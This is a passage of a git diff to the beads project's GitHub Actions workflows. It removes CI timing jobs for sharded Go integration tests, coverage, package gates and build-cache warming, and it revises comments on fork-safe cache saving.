"artifacts/linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-16-cmd-bd: - name: Measure Linux integration cmd/bd shard ${{ matrix.shard }}/16 - if: ${{ inputs.suite == 'linux-integration-hybrid-16-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 16 - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-cmd-bd-${{ matrix.shard }}-of-16 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-hybrid-prebuilt-bd: - name: Measure Linux integration prebuild cmd/bd binary - if: ${{ inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Measure build - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "build cmd/bd subprocess binary" -- go build -tags gms_pure_go -o artifacts/bd ./cmd/bd - - - name: Upload prebuilt bd - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-prebuilt-bd - path: artifacts/bd - retention-days: 7 - if-no-files-found: error - - linux-integration-hybrid-prebuilt-cmd-bd: - name: Measure Linux integration prebuilt cmd/bd shard ${{ matrix.shard }}/8 - if: ${{ inputs.suite == 'linux-integration-hybrid-prebuilt-sharded' }} - needs: linux-integration-hybrid-prebuilt-bd - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Download prebuilt bd - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-measure-linux-integration-prebuilt-bd - path: prebuilt-bd - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/prebuilt-bd/bd - run: | - set -euo pipefail - mkdir -p artifacts - chmod +x "$BEADS_TEST_BD_BINARY" - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "linux integration prebuilt cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/linux-integration-prebuilt-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-prebuilt-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - linux-integration-coverage: - name: Measure Linux integration coverage - if: ${{ inputs.suite == 'linux-integration-coverage' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Measure commands - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - status=0 - ci_time "linux integration coverage go test" -- env BEADS_TEST_SKIP=dolt gotestsum --junitfile artifacts/linux-integration-coverage-junit.xml --format testdox -- -v -race -tags=integration,gms_pure_go -coverprofile=artifacts/coverage.out -timeout=30m ./... || status=$? - if [[ -f artifacts/coverage.out ]]; then - ci_time "coverage summary" -- go tool cover -func=artifacts/coverage.out || status=$? - else - echo "coverage.out was not generated; skipping coverage summary" - fi - exit "$status" - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-linux-integration-coverage - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - cross-version-smoke: - name: Measure cross-version smoke - if: ${{ inputs.suite == 'cross-version-smoke' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Cache previous release binaries - uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-measure-${{ runner.os }} - - - name: Measure commands - env: - GH_TOKEN: ${{ github.token }} - SMOKE_VERSION: ${{ inputs.smoke_version }} - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - source ./.buildflags - - ci_time "build candidate binary" -- go build -tags gms_pure_go -o /tmp/bd-candidate ./cmd/bd - export CANDIDATE_BIN=/tmp/bd-candidate - if [[ -z "$SMOKE_VERSION" ]]; then - SMOKE_VERSION="$(gh release list --repo "$GITHUB_REPOSITORY" --limit 1 --json tagName --jq '.[0].tagName')" - fi - if [[ -z "$SMOKE_VERSION" ]]; then - echo "Could not resolve a previous release tag for cross-version smoke" - exit 1 - fi - ci_time "upgrade smoke ${SMOKE_VERSION}" -- ./scripts/upgrade-smoke-test.sh "$SMOKE_VERSION" - - nix: - name: Measure nix build - if: ${{ inputs.suite == 'nix' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Install Nix - uses: DeterminateSystems/determinate-nix-action@527f17dd63d2d60d3e5552934bc84b9a33a14d11 # v3 - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - ci_time "nix build .#default" -- nix build .#default --print-build-logs - - mcp-package: - name: Measure MCP package checks - if: ${{ inputs.suite == 'mcp-package' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Set up Python - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 - with: - python-version: '3.14' - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - - ci_time "install uv" -- pip install uv==0.11.16 - ci_time "mcp package gate" -- make ci-package-mcp - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-mcp-package - path: integrations/beads-mcp/dist/ - retention-days: 7 - if-no-files-found: ignore - - npm-package: - name: Measure npm package checks - if: ${{ inputs.suite == 'npm-package' }} - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Set up Node.js - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Measure commands - run: | - set -euo pipefail - source scripts/ci/lib/timing.sh - ci_time "npm package gate" -- make ci-package-npm - - - name: Upload measurement artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-measure-npm-package - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 8300b9502..8d6c49133 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,117 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - # Same guard as pr.yml's check-migration-hygiene: direct pushes to main - # (and PR merges whose base moved) must not bypass the migration lints. - # BASE_SHA is the pre-push tip; on force pushes or history rewrites the - # script warns and skips the frozen-migrations diff but still runs the - # duplicate-version and nondeterministic-SQL checks. - check-migration-hygiene: - name: Check migration hygiene - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Run migration hygiene checks - env: - BASE_SHA: ${{ github.event.before }} - run: ./scripts/check-migration-hygiene.sh - - build-artifacts: - name: Build Artifacts - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - # Per `go help cache`, Go's content-addressed build cache includes - # compiler options, so this base-tag directory can serve builds with - # additional tags. Race builds stay separate; Windows native/cgo - # non-race builds share theirs. - - name: Restore non-race Go build cache - id: restore-non-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build reusable Linux artifacts - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - set -euo pipefail - mkdir -p artifacts - source ./.buildflags - go_version="$(go version)" - commit="$(git rev-parse HEAD)" - go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd - chmod +x artifacts/bd-linux-gms-pure - go test -tags gms_pure_go -c -o artifacts/bd-cmd-test ./cmd/bd - chmod +x artifacts/bd-cmd-test - ( - cd artifacts - sha256sum bd-linux-gms-pure > SHA256SUMS - ) - { - echo "commit=${commit}" - echo "go_version=${go_version}" - echo "build_tags=${BEADS_BUILD_TAGS}" - echo "artifact=bd-linux-gms-pure" - } > artifacts/build-manifest.txt - - - name: Upload build artifacts - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-build-artifacts - path: artifacts/ - retention-days: 1 - if-no-files-found: error - - # F4.3/F7b: pr.yml's check-doc-freshness-platforms and - # pr-preflight-platforms ubuntu legs compile several ./scripts and - # ./cmd/bd test binaries but, before this, used no GOCACHE at all (every - # run cold-compiled them). This warms the non-race GOCACHE this job - # already saves (below) with exactly those packages. Shared with - # blacksmith-go-build-cache's non-race leg (the same-repo-PR path's - # seed) so the two paths can never drift apart (F7b spec 4.2). - - name: Warm non-race GOCACHE for preflight/doc-freshness - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - - name: Save Go module cache - if: steps.restore-go-module-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save non-race Go build cache - if: steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - # F4.7: pr.yml's `windows-test-binaries` job only restores the module cache # and the Windows cross-compile GOCACHE; PR workflows never save caches # (forks and same-repo PRs alike would otherwise be able to poison a @@ -216,244 +105,6 @@ jobs: path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - # Fast shell/Make guard for direct source-time build-tag declarations. - # Workflow `run` steps are checked structurally in the required policy wrapper. - check-build-tags: - name: Check build-tag policy - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - run: ./scripts/check-build-tags.sh - - run: ./scripts/check-go-install-guidance.sh - - run: ./scripts/check-winget-portable-alias.sh - - # Fast check to ensure all version files are in sync - check-version-consistency: - name: Check version consistency - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Check all versions match - run: ./scripts/check-versions.sh - - # Catch duplicate migration version numbers before any Go build. - # Two long-lived branches both claiming 'the next number' produce a silent - # under-apply when merged; this job fails at PR time with the conflicting - # filenames so it is caught before any test even compiles. - check-no-duplicate-migrations: - name: Check no duplicate migration versions - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Check for duplicate migration version numbers - run: | - dup=$( - find internal/storage/schema/migrations -maxdepth 1 -name '*.up.sql' -printf '%f\n' \ - | sed 's/^\([0-9]*\)_.*/\1/' \ - | sort | uniq -d - ) - if [ -n "$dup" ]; then - echo "Duplicate migration version(s) detected: $dup" - echo "Conflicting files:" - while IFS= read -r v; do - find internal/storage/schema/migrations -name "${v}_*.up.sql" -print - done <<< "$dup" - echo "Renumber one of the colliding files before merging." - exit 1 - fi - - # Check documentation references match actual CLI flags - check-doc-flags: - name: Check doc flags freshness - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Build bd - run: CGO_ENABLED=0 go build -tags gms_pure_go -o bd ./cmd/bd/ - - - name: Validate docs against CLI - run: | - ./scripts/check-doc-flags.sh ./bd - ./scripts/check-doc-freshness.sh - - detect-package-gates: - name: Detect package gates - runs-on: ubuntu-latest - outputs: - mcp_package: ${{ steps.detect.outputs.mcp_package }} - npm_package: ${{ steps.detect.outputs.npm_package }} - reason: ${{ steps.detect.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide package gates - id: detect - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - PUSH_BEFORE_SHA: ${{ github.event.before }} - PUSH_AFTER_SHA: ${{ github.sha }} - run: ./scripts/ci/detect-package-gates.sh - - package-mcp: - name: Package Gate (MCP) - runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.mcp_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.mcp_package }}" != "true" ]]; then - echo "MCP package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Python - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 - with: - python-version: '3.14' - - - name: Install uv - if: steps.applicability.outputs.run == 'true' - run: python -m pip install uv==0.11.16 - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run MCP package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-mcp - - package-npm: - name: Package Gate (npm) - runs-on: ubuntu-latest - needs: [detect-package-gates, build-artifacts] - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.npm_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.npm_package }}" != "true" ]]; then - echo "npm package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Node.js - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run npm package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-npm - - - pr-policy-wrapper: - name: PR Policy (wrapper timing) - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # Same cold-fetch exposure as pr.yml's pr-policy-wrapper: setup-go above - # runs with cache: false, so every run pulls the whole module graph from - # the proxy. Retrying it here means a proxy blip costs seconds instead of - # failing a required check. - # - # Deliberately NOT wrapped around the build: `make ci-pr-policy` runs a - # `go build ./cmd/bd` (scripts/ci/pr-policy.sh, build_docs_binary), and a - # compile error is not transient. See pr.yml's copy for the full rationale. - # - # 3 attempts x 120s + 2 backoffs x 10s = 380s worst case. 8m leaves ~100s - # of headroom, matching the bounded apt-get step in release.yml. - - name: Download modules - timeout-minutes: 8 - run: | - downloaded="" - for attempt in 1 2 3; do - if timeout 120 go mod download; then - downloaded=yes - break - fi - echo "::warning::go mod download attempt $attempt failed or timed out" - # No backoff after the final attempt - there is nothing left to wait for. - if [ "$attempt" -lt 3 ]; then - sleep 10 - fi - done - # Unlike the best-effort apt-get retries elsewhere in this repo, this - # one is load-bearing: nothing downstream can build without the - # modules. Fail here, naming the fetch, so a module outage is not - # reported as a build failure. - if [ -z "$downloaded" ]; then - echo "::error::go mod download failed after 3 attempts - module fetch failure, not a build failure" - exit 1 - fi - - - name: Run PR policy wrapper - run: make ci-pr-policy # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), @@ -561,11 +212,8 @@ jobs: # windows-test-binaries-cache's `runner` matrix. test-windows: name: Test (Windows - smoke, ${{ matrix.venue }}) - # F7b review fix (B2): added the repository check to match - # blacksmith-go-build-cache's convention - # above (this job's push-to-main guard predates F7b and already had the - # event/ref check; the repository check closes the same fork gap F7c's - # own blacksmith-setup-go-cache guard closes). Pinned by + # F7b review fix (B2): push-to-main, same-repo only, like every saver + # here (the repository check closes the fork gap). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} @@ -588,8 +236,9 @@ jobs: go-version-file: 'go.mod' cache: false - # F7b review fix (S7/Speed): see blacksmith-go-build-cache's identical - # step above for the full rationale. + # F7b review fix (S7/Speed): cache keys are bucketed by go.sum and UTC + # day, not per commit, so ordinary push traffic writes at most one + # entry per day (TestBlacksmithSaverCacheKeysAreNotPerCommit). - name: Compute cache date id: cache-date shell: bash @@ -666,142 +315,6 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - fmt-check: - name: Check formatting - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Check gofmt - run: make fmt-check - - # F7b: the saver for the race and non-race GOCACHEs that same-repo-PR - # (Blacksmith, blacksmith-4vcpu-ubuntu-2404) jobs restore: the non-race one - # for pr-preflight-platforms' and check-doc-freshness-platforms' ubuntu - # legs; the race one compiles ./scripts/... with -race (once the compile - # set of scripts-go-checks' retired scripts-test leg). Blacksmith runners - # cannot see caches `actions/cache` saved from a GitHub-hosted runner (and - # vice versa) even for an identical key, so without this those legs would - # stay cold forever. - # - # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's - # race cache, which the legacy embedded build used to save before Bazel - # took over that tier on push; build-artifacts still seeds that path's - # non-race cache, so the github x non-race leg is excluded as redundant. - # The ternary `runs-on` form (rather than a literal Blacksmith label) is - # required for actionlint, same as every other Blacksmith `runs-on` here. - # main.yml only triggers on push to main (already trusted). - # - # F7b review fix (B2): pin push-to-main-only at the job level too, not just - # via this workflow's current `on: push` trigger (same defense-in-depth - # rationale as F7c review fix S2's blacksmith-setup-go-cache guard above -- - # if main.yml ever gained a pull_request/merge_group trigger, a bare - # `on: push` assumption would silently let this job, and the unguarded - # saver below it, run on a same-repo PR, making every same-repo PR a writer - # of this Blacksmith cache namespace). Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - blacksmith-go-build-cache: - name: Warm Go build cache (${{ matrix.flavor }}, ${{ matrix.venue }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - flavor: [race, non-race] - venue: [blacksmith, github] - # build-artifacts seeds the GitHub-hosted non-race cache. - exclude: - - flavor: non-race - venue: github - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7b review fix (S7/Speed): bounds this saver's writes to at most once - # per UTC calendar day per go.sum, not once per push to main. The old - # ${{ github.sha }} suffix wrote a brand-new multi-GB race+non-race - # build-cache entry on every single push regardless of whether go.sum - # changed; on Blacksmith's 25 GB/week/repo quota (LRU eviction, no - # per-repo exemption the way GitHub-hosted actions/cache effectively - # has) that churn (measured ~1.74GB/push for this job's two flavors - # alone) could exhaust the week's budget in a single day of ordinary - # push traffic and evict every other Blacksmith-reachable job's cache. - # Same convention as F7c review fix S5's blacksmith-setup-go-cache - # (main.yml, above). Pinned by TestBlacksmithSaverCacheKeysAreNotPerCommit. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - if: matrix.flavor == 'race' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Restore non-race Go build cache - id: restore-non-race-go-build-cache - if: matrix.flavor == 'non-race' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: 